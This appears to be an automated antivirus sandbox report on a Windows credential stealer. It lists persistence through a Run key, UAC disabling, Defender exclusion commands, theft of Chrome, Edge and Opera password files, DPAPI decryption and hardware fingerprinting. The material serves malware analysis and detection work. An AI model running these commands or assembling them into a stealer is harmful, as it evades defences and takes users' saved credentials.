Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] '<File name>' = '%ALLUSERSPROFILE%\Update.vbs'
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\.KrSL0qdgza"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "<SYSTEM32>\Tasks"
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %TEMP%\pkg-c0d7kd\5ad24cd4d19ef03079717bd6309fe0604c2a4829cd92788ebf6da95c41d3d28f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\package.json
- %TEMP%\pkg-c0d7kd\82c0fffccc54ef10231be8c7e190feb8feea44efc01b4ecfe12e4d8a0ecfb20d
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\binding.gyp
- %TEMP%\pkg-c0d7kd\8d6b400ae7f69a80d0cdd37a968d7b9a913661fa53475e5b8de49dda21684973
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.js
- %TEMP%\pkg-c0d7kd\762c7a74d7f92860a3873487b68e89f654a21d2aaeae9524eab5de9c65e66a9c
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3-binding.js
- %TEMP%\pkg-c0d7kd\d06caec6136120c6fb7ee3681b1ca949e8b634e747ea8d3080c90f35aeb7728f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\trace.js
- %TEMP%\pkg-c0d7kd\a39db87a3a3aa954ac3f6553b9fbfc642eb22bef7586cc1f0559e676aa073fa8
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\lib\sqlite3.d.ts
- %TEMP%\pkg-c0d7kd\4d65f2899fb54955218f28ec358a2cad2c2074a7b43f862933c6a35e69ae0632
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\common-sqlite.gypi
- %TEMP%\pkg-c0d7kd\5be353d29c0fabea29cfd34448c196da9506009c0b20fde55e01d4191941dd74
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\extract.js
- %TEMP%\pkg-c0d7kd\e419c0ce9b0c4ba177c1f0af7f5e9c0b798b2bad8626347e3f0f37c9ffe67804
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite-autoconf-3440200.tar.gz
- %TEMP%\pkg-c0d7kd\8793f62b1133892ba376d18a15f552ef12b1e016f7e5df32ffb7279b760c11bd
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\deps\sqlite3.gyp
- %TEMP%\pkg-c0d7kd\cce55c56b41cb493ebd43b232ff8ffc9f5a180f5bab2d10372eca6780eb105f6
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\async.h
- %TEMP%\pkg-c0d7kd\960e50580d2f2e668ee79b0c2ef99eaf006bc9178f438c4bb4e278f80f3d8960
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.cc
- %TEMP%\pkg-c0d7kd\556ba9af78010f41bc6b5b806743dc728bc181934bf8a7c6e5d606f9b8c7a2e9
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\backup.h
- %TEMP%\pkg-c0d7kd\40ea909433a35a95a8463c49231ddca040717681fc96ee3ba6f10840429b4ad6
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.cc
- %TEMP%\pkg-c0d7kd\8521f458b206ed8f9bf79e2bd869da0a35054b4be44d6ea8c371db207eccb283
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\database.h
- %TEMP%\pkg-c0d7kd\9d4264bb1dcbef8d927bb3a1809a01b0b89d726c217cee99ea9ccfdc7d456b6f
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\gcc-preinclude.h
- %TEMP%\pkg-c0d7kd\c25be1861bd8e8457300b218f5fa0bba734f9d1f92b47d3b6ab8ee7c1862ccbe
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\macros.h
- %TEMP%\pkg-c0d7kd\e80fae190ace1a5153a397ae9fe55d6d28651471fb7bebf9bbb5528095d70f44
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\node_sqlite3.cc
- %TEMP%\pkg-c0d7kd\2fe8c826256cb1b96e26c74aeab465a329a307e7e1107ba296d059a07cc0f948
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.cc
- %TEMP%\pkg-c0d7kd\605633ba0fb1922c16aa5fbfffed52a097f29bf31cee7190d810c24c02de515b
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\statement.h
- %TEMP%\pkg-c0d7kd\e0ab4f798bccb877548b0ab0f3d98c051b36cde240fdf424c70ace7daf0ffd36
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\src\threading.h
- %TEMP%\pkg-c0d7kd\b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442
- %TEMP%\pkg\f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c\sqlite3\build\release\node_sqlite3.node
- <SYSTEM32>\knnakae0nm.txt
- %TEMP%\vbgiz01sod.ps1
- %TEMP%\gm00ou51\gm00ou51.0.cs
- %TEMP%\gm00ou51\gm00ou51.cmdline
- %TEMP%\gm00ou51\gm00ou51.out
- %TEMP%\gm00ou51\csccff50e95c13b46a180bc44818e963011.tmp
- %TEMP%\res9ee0.tmp
- %TEMP%\gm00ou51\gm00ou51.dll
- %LOCALAPPDATA%\google\chrome\user data\default\webdata.db
- %LOCALAPPDATA%\google\chrome\user data\default\passwords.db
- %ALLUSERSPROFILE%\steam\launcher\nd14srbvqjv4\en-iriisgl\stolen_files.zip
- %ALLUSERSPROFILE%\update.vbs
- %LOCALAPPDATA%\microsoft\windows\actioncentercache\windows-systemtoast-securityandmaintenance_10_0.png
- %ALLUSERSPROFILE%\steam\launcher\nd14srbvqjv4\en-iriisgl\serial-check.txt
- %ALLUSERSPROFILE%\steam\launcher\nd14srbvqjv4\en-iriisgl\debug.log
- %TEMP%\regl2fyox5.py
- %LOCALAPPDATA%\microsoft\edge\user data\default\webdata.db
- %LOCALAPPDATA%\microsoft\edge\user data\default\passwords.db
- %APPDATA%\opera software\opera stable\passwords.db
- %APPDATA%\opera software\opera stable\webdata.db
- %ALLUSERSPROFILE%\steam\launcher\nd14srbvqjv4\en-iriisgl\passwords\passwords.txt
- %ALLUSERSPROFILE%\steam\launcher\nd14srbvqjv4\en-iriisgl\autofills\autofills.txt
Deletes following files that it created itself
- <SYSTEM32>\knnakae0nm.txt
- %TEMP%\res9ee0.tmp
- %TEMP%\gm00ou51\csccff50e95c13b46a180bc44818e963011.tmp
- %TEMP%\gm00ou51\gm00ou51.0.cs
- %TEMP%\gm00ou51\gm00ou51.cmdline
- %TEMP%\gm00ou51\gm00ou51.dll
- %TEMP%\gm00ou51\gm00ou51.out
- %TEMP%\vbgiz01sod.ps1
- %TEMP%\pkg-c0d7kd\2fe8c826256cb1b96e26c74aeab465a329a307e7e1107ba296d059a07cc0f948
- %TEMP%\pkg-c0d7kd\40ea909433a35a95a8463c49231ddca040717681fc96ee3ba6f10840429b4ad6
- %TEMP%\pkg-c0d7kd\4d65f2899fb54955218f28ec358a2cad2c2074a7b43f862933c6a35e69ae0632
- %TEMP%\pkg-c0d7kd\556ba9af78010f41bc6b5b806743dc728bc181934bf8a7c6e5d606f9b8c7a2e9
- %TEMP%\pkg-c0d7kd\5ad24cd4d19ef03079717bd6309fe0604c2a4829cd92788ebf6da95c41d3d28f
- %TEMP%\pkg-c0d7kd\5be353d29c0fabea29cfd34448c196da9506009c0b20fde55e01d4191941dd74
- %TEMP%\pkg-c0d7kd\605633ba0fb1922c16aa5fbfffed52a097f29bf31cee7190d810c24c02de515b
- %TEMP%\pkg-c0d7kd\762c7a74d7f92860a3873487b68e89f654a21d2aaeae9524eab5de9c65e66a9c
- %TEMP%\pkg-c0d7kd\82c0fffccc54ef10231be8c7e190feb8feea44efc01b4ecfe12e4d8a0ecfb20d
- %TEMP%\pkg-c0d7kd\8521f458b206ed8f9bf79e2bd869da0a35054b4be44d6ea8c371db207eccb283
- %TEMP%\pkg-c0d7kd\8793f62b1133892ba376d18a15f552ef12b1e016f7e5df32ffb7279b760c11bd
- %TEMP%\pkg-c0d7kd\8d6b400ae7f69a80d0cdd37a968d7b9a913661fa53475e5b8de49dda21684973
- %TEMP%\pkg-c0d7kd\960e50580d2f2e668ee79b0c2ef99eaf006bc9178f438c4bb4e278f80f3d8960
- %TEMP%\pkg-c0d7kd\9d4264bb1dcbef8d927bb3a1809a01b0b89d726c217cee99ea9ccfdc7d456b6f
- %TEMP%\pkg-c0d7kd\a39db87a3a3aa954ac3f6553b9fbfc642eb22bef7586cc1f0559e676aa073fa8
- %TEMP%\pkg-c0d7kd\b9a7b76665d92af2d90cc6a15ffdc1a79635559cbc1c40bd1f83c4c4449cd442
- %TEMP%\pkg-c0d7kd\c25be1861bd8e8457300b218f5fa0bba734f9d1f92b47d3b6ab8ee7c1862ccbe
- %TEMP%\pkg-c0d7kd\cce55c56b41cb493ebd43b232ff8ffc9f5a180f5bab2d10372eca6780eb105f6
- %TEMP%\pkg-c0d7kd\d06caec6136120c6fb7ee3681b1ca949e8b634e747ea8d3080c90f35aeb7728f
- %TEMP%\pkg-c0d7kd\e0ab4f798bccb877548b0ab0f3d98c051b36cde240fdf424c70ace7daf0ffd36
- %TEMP%\pkg-c0d7kd\e419c0ce9b0c4ba177c1f0af7f5e9c0b798b2bad8626347e3f0f37c9ffe67804
- %TEMP%\pkg-c0d7kd\e80fae190ace1a5153a397ae9fe55d6d28651471fb7bebf9bbb5528095d70f44
Network activity
UDP
- DNS ASK py##on.org
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -File "%TEMP%\vBGIz01sOd.ps1"
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "%TEMP%\vBGIz01sOd.ps1""
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\gm00ou51\gm00ou51.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9EE0.tmp" "%TEMP%\gm00ou51\CSCCFF50E95C13B46A180BC44818E963011.TMP"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get serialnumber"
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"
- '<SYSTEM32>\wbem\wmic.exe' diskdrive get serialnumber
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,2...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,69,247,204,56,...
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v <File name> /t REG_SZ /d "%ALLUSERSPROFILE%\Update.vbs" /f"
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\.KrSL0qdgza""
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v <File name> /t REG_SZ /d "%ALLUSERSPROFILE%\Update.vbs" /f
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "<SYSTEM32>\Tasks""
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic baseboard get serialnumber"
- '<SYSTEM32>\cmd.exe' /d /s /c "pip install pillow"
- '<SYSTEM32>\wbem\wmic.exe' baseboard get serialnumber
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_computersystemproduct get uuid"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get smbiosbiosversion"
- '<SYSTEM32>\wbem\wmic.exe' path win32_computersystemproduct get uuid
- '<SYSTEM32>\wbem\wmic.exe' bios get smbiosbiosversion
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
- '<SYSTEM32>\wbem\wmic.exe' PATH Win32_VideoController GET Description,PNPDeviceID
- '<SYSTEM32>\wbem\wmic.exe' MemoryChip get /format:list
- '<SYSTEM32>\find.exe' /i "Speed"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name"
- '<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get name
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic memorychip get serialnumber"
- '<SYSTEM32>\wbem\wmic.exe' memorychip get serialnumber
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
- '<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic cpu get processorid"
- '<SYSTEM32>\wbem\wmic.exe' cpu get processorid
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac /NH"
- '<SYSTEM32>\getmac.exe' /NH
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /fo csv"
- '<SYSTEM32>\tasklist.exe' /fo csv
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "%TEMP%\vBGIz01sOd.ps1""' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\gm00ou51\gm00ou51.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9EE0.tmp" "%TEMP%\gm00ou51\CSCCFF50E95C13B46A180BC44818E963011.TMP"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get serialnumber"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,2...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v <File name> /t REG_SZ /d "%ALLUSERSPROFILE%\Update.vbs" /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\.KrSL0qdgza""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command Add-MpPreference -ExclusionPath "<SYSTEM32>\Tasks""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic baseboard get serialnumber"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "pip install pillow"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_computersystemproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get smbiosbiosversion"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic PATH Win32_VideoController GET Description,PNPDeviceID"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get name"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic memorychip get serialnumber"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic cpu get processorid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "getmac /NH"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist /fo csv"' (with hidden window)
